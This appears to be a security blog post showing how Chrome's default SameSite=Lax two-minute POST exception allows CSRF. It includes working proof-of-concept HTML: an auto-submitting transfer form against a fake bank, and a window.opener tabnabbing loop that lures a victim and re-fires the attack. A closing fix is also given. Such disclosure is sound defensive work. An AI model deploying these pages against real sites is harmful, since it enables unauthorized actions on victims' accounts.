Default SameSite
settings are not the same as SameSite: Lax
set explicitly. TLDR? A two-minute window from when a cookie is issued is open to exploit CSRF. Let’s take a closer look at how to do that…
Summary
Modern browsers have come a long way in mitigating cross-site request forgery with the way they handle cookies and the SameSite
cookie setting. The SameSite
setting configures how cookies are sent with cross domain requests. If you’re not familiar with CSRF bugs, check out the OWASP link in the reference section.
This article is going to look at exploiting CSRF against a POST request even when the default SameSite
Lax setting should prevent just that.
There are three different options for the SameSite
setting.
EDIT: This article specifically refers to the SameSite
behaviour for Google Chrome 98.0.4758.102 (Official Build) (64-bit)
on Ubuntu. Firefox 97.0.1
on Ubuntu and Firefox 97.0.1 (64-bit)
on Windows were both tested and neither set SameSite
to Lax
by default if no SameSite
flag was specified when a cookie was issued. These Firefox versions allowed cross-domain cookies in POST requests by default when no SameSite
flag was present. The following screenshot shows the laxByDefault
flag on a fresh Firefox 97.0.1
install:
None
None
does nothing. A browser is going to fling those cookies about willy-nilly.
Strict
Strict
is cool, your browser won’t be sending any cross-domain cookies with the Strict
setting, under any circumstances. A request must originate from the domain the cookie is issued for.
Lax
Lax
is a little different. If SameSite
is set to Lax
cookies can be sent cross-site, but only in a GET request, and only if a user initiated that request, say clicking a link, and not by a script.
Modern browser default to Lax
if you don’t explicitly set SameSite
when a cookie is issued. Good right? Well, maybe not as good as it could be…
Here’s a fun fact, the behaviour of the automatically set Lax
isn’t the same as the explicitly set Lax
. Here’s a tid-bit about the SameSite
cookie setting automatically set to Lax
quoted from Chromium SameSite Frequently Asked Questions
:
…a cookie that is at most 2 minutes old will be sent on a top-level cross-site POST request.
The is called the “LAX+POST mitigation”. The FAQ describes this as a mitigation for specific cases where a cross-domain cookie is expected in a POST request during a single sign-on flow. But what happens if you’re relying on the default Lax setting for CSRF protection?
The Exploit
So based on the facts above, we should be able to cross-site post to exploit cross-site request forgery, with cookies included, if the victim visits the attack page within 2 minutes of their session cookie being issued.
For the cookie to be sent, the cookie must have been issued within the last two minutes and the request must come from a top-level domain navigation event, meaning we can’t use iframes…
A POC is easy to implement, but a long shot for practical exploitation.
POC – Confirming Default SameSite Behavior
For this scenario, we’ve set up a site called Pulse-Bank.com
. No, we don’t actually run a bank, this is just a fake domain pointed to a fake web server running on localhost port 5000.
Pulse-Bank.com
issues us a cookie. Here’s what the server-side response to set the cookie looks like.
Set-Cookie: PulseBankSession=f957fb28-9a18-4394-8ee3-22f53413a1dc; Path = /; Secure; HttpOnly
The server didn’t set the SameSite
flag, so the browser defaults to SameSite: Lax
. Here’s a sample attack page that we are hosting on attacker.com
. Another fake domain, running on localhost, port 8000. If we hit this within two minutes of logging into Pulse-Bank.com
, the CSRF works just like you’d expect it to:
<html>
<script>
console.log("go attack");
</script>
<body onload="setTimeout(function() { document.frm1.submit() }, 1000)">
<form action="https://Pulse-Bank.com:5000/transfer.jsp" method="POST" name="frm1">
<input type="hidden" name="FromAccount" value="000-00000-0000-00" />
<input type="hidden" name="ToAccount" value="111-11111-1111-11" />
<input type="hidden" name="Amount" value="AllTheDollars" />
</form>
</body>
</html>
When the attack page is loaded, we can see the browser sending a request to Pulse-Bank.com
with the cookie attached cross-site like the good old days of CSRF:
POST /transfer.jsp HTTP/1.1
Host: pulse-bank.com:5000
Cookie: PulseBankSession=f957fb28-9a18-4394-8ee3-22f53413a1dc
Content-Length: 78
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="98", "Google Chrome";v="98"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://attacker.com:8000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://attacker.com:8000/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en;q=0.9
Connection: close
FromAccount=000-00000-0000-00&ToAccount=111-11111-1111-11&Amount=AllTheDollars
But 2 minutes? Come on… it’s a crap shoot. Or is it?
Exploit – A better way
The main issue with automating this exploit is that for the cookie to be sent, the POST must be a top-level navigation. So, no iframes scripted to reload over and over again. The question becomes: How do we script top-level navigation in a repeatable way when a victim user visits our site?
The answer is good old window.opener
. You might remember window.opener
from other bugs such as tab nabbing. The plan is this:
- The user browses to an attacker-controlled page (
one.html
) - When the user clicks a link on the page, a second window is opened (
two.html
) usingwindow.open
. This is to get around pop-up blockers. Two.html
useswindow.opener
to instrument the original window and force top-level domain posts by constantly setting thewindow.opener.location
to our CSRFattack.html
.- If the victim leaves these two windows or tabs open, the exploit will loop, launching
attack.html
over and over again. - The next time a cookie is issued, we catch that sweet 2-minute window and our CSRF pops.
Let’s make the 3 web pages for attacker.com
, The first one is called one.html (of course):
<html>
<body>
<center>
<h1> Wanna play the best game in the world?</h1>
<button onclick="window.open('http://attacker.com:8000/two.html')">Play me!</button>
</center>
</body>
</html>
And then we have two.html
. You can see the loop which is reloading the original window every 5 seconds:
<html>
<body>
<center>
<h1>
Play the game my friend, play the game… Guess the word... oh, but don’t forget to pay your bills.
</h1>
</center>
<script>
if (window.opener) {
console.log("redirecting");
window.opener.location = "http://attacker.com:8000/attack.html";
setInterval(() => {console.log("again"); window.opener.location = "http://attacker.com:8000/attack.html";}, 5000);
}
</script>
</body>
</html>
And this one will look familiar, attack.html
:
<html>
<script>
console.log("go attack");
</script>
<body onload="setTimeout(function() { document.frm1.submit() }, 1000)">
<form action="https://Pulse-Bank.com:5000/transfer.jsp" method="POST" name="frm1">
<input type="hidden" name="FromAccount" value="000-00000-0000-00" />
<input type="hidden" name="ToAccount" value="111-11111-1111-11" />
<input type="hidden" name="Amount" value="AllTheDollars" />
</form>
</body>
</html>
Scenario – What would a practical attack look like?
The above is all fine and dandy from a proof-of-concept perspective. But what would an actual real-life attack using this technique look like? Here’s a story.
The victim of this attack would be ready to log in and pay some bills, but who likes paying bills right? They go to Pulse-Bank.com
but procrastinate. A buddy sent them a link to a great new game. This takes them to one.html
on an attacker controlled site. They click the button to play the great game and a new tab opens. They don’t get to see the action happening in the tab they just left…
The new tab loads two.html
, which through the magic of a little intentional Reverse Tabnabbing 2 just keeps attack.html
cycling in the previous tab every 5 seconds. Play the game my friend, play the game… Guess the word… Oh, but don’t forget to pay your bills.
They go back to the Pulse-Bank.com
site, log in, and start paying bills…
That’s when attack.html
gets hold of the cookie and sends it along - exploiting the CSRF.
The exploitable window will be open for 2 minutes, so the cookie is sent with the CSRF request. After 2 minutes, the cookies stop getting included with the request. Every time the cookie value is refreshed, we get another 2-minute window.
Fix
There is an easy fix. Don’t let the browser decide how cookies are going to be handled. If you explicitly set SameSite
to Lax
or Strict
the cross-site POST exception doesn’t happen. It only happens when the browser takes a cookie with no SameSite
set and defaults to Lax
.
Better yet, implement a CSRF token.